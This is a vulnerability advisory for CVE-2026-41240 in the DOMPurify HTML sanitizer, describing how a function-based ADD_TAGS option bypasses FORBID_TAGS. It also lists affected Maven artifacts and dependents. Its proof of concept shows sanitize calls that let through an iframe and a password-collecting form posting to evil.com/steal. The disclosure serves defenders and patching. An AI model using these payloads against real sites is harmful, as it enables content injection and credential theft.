CVE-2026-41240
DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)
Description
There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.
Commit c361baa added an early exit for FORBID_ATTR at line 1214:
/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
return false;
}
The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:
if (
!(
EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits
) &&
(!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated
) {
This allows forbidden elements to survive sanitization with their attributes intact.
PoC (tested against current HEAD in Node.js + jsdom):
const DOMPurify = createDOMPurify(window);
DOMPurify.sanitize(
'<iframe src="https://evil.com"></iframe>',
{
ADD_TAGS: function(tag) { return true; },
FORBID_TAGS: ['iframe']
}
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)
DOMPurify.sanitize(
'<form action="https://evil.com/steal"><input name=password></form>',
{
ADD_TAGS: function(tag) { return true; },
FORBID_TAGS: ['form']
}
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)
Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.
Compare with FORBID_ATTR which correctly wins:
DOMPurify.sanitize(
'<p onclick="alert(1)">hello</p>',
{
ADD_ATTR: function(attr) { return true; },
FORBID_ATTR: ['onclick']
}
);
// Returns: '<p>hello</p>' (onclick correctly removed)
Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:
/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
// proceed to removal logic
}
This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.
Reporter: Koda Reef
Affected Maven artifacts (2)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| org.mvnpm » dompurifyvia npm dompurify | < 3.4.0 | 3.4.0 |
| org.webjars.npm » dompurifyvia npm dompurify | < 3.4.0 | 3.4.0 |
Blast radius
33% of the dependent artifacts (17) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 181 |
| 2 hops | 558 |
| 3 hops | 429 |
| 4 hops | 130 |
| 5 hops | 120 |
Most used dependents
- org.mvnpm.at.bigbinary » neeto-commons-frontend14 usages
- org.webjars.npm » monaco-editor9 usages
- org.eclipse.dirigible » dirigible-components-ui-editor-monaco8 usages
- org.eclipse.dirigible » dirigible-components-ui-view-sql8 usages
- org.eclipse.dirigible » dirigible-components-group-ide7 usages
- org.mvnpm » monaco-editor7 usages
- org.mvnpm.at.bigbinary » neeto-atoms7 usages
- org.mvnpm.at.bigbinary » neeto-molecules6 usages
- org.mvnpm.at.bigbinary » neeto-filters-frontend6 usages
- org.mvnpm » mermaid5 usages
- org.mvnpm.at.bigbinary » neeto-team-members-frontend4 usages
- org.mvnpm.at.lwrjs » core4 usages
- org.mvnpm.at.bigbinary » neeto-image-uploader-frontend4 usages
- org.mvnpm.at.bigbinary » neeto-editor4 usages
- org.mvnpm.at.locker » html-sanitizer3 usages
Computed from the dependency graph of build 20261125.2201 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
Other ecosystems
Also affects npm (1 package) . See all on OSV
References
| Advisory | NVD CVE-2026-41240 | nvd.nist.gov |
| Package | cure53/DOMPurify | github.com |
| Web | cure53/DOMPurify advisory GHSA-h7mw-gpvr-xq4m | github.com |
| Web | cure53/DOMPurify commit c361baa | github.com |
| Web | cure53/DOMPurify release 3.4.0 | github.com |
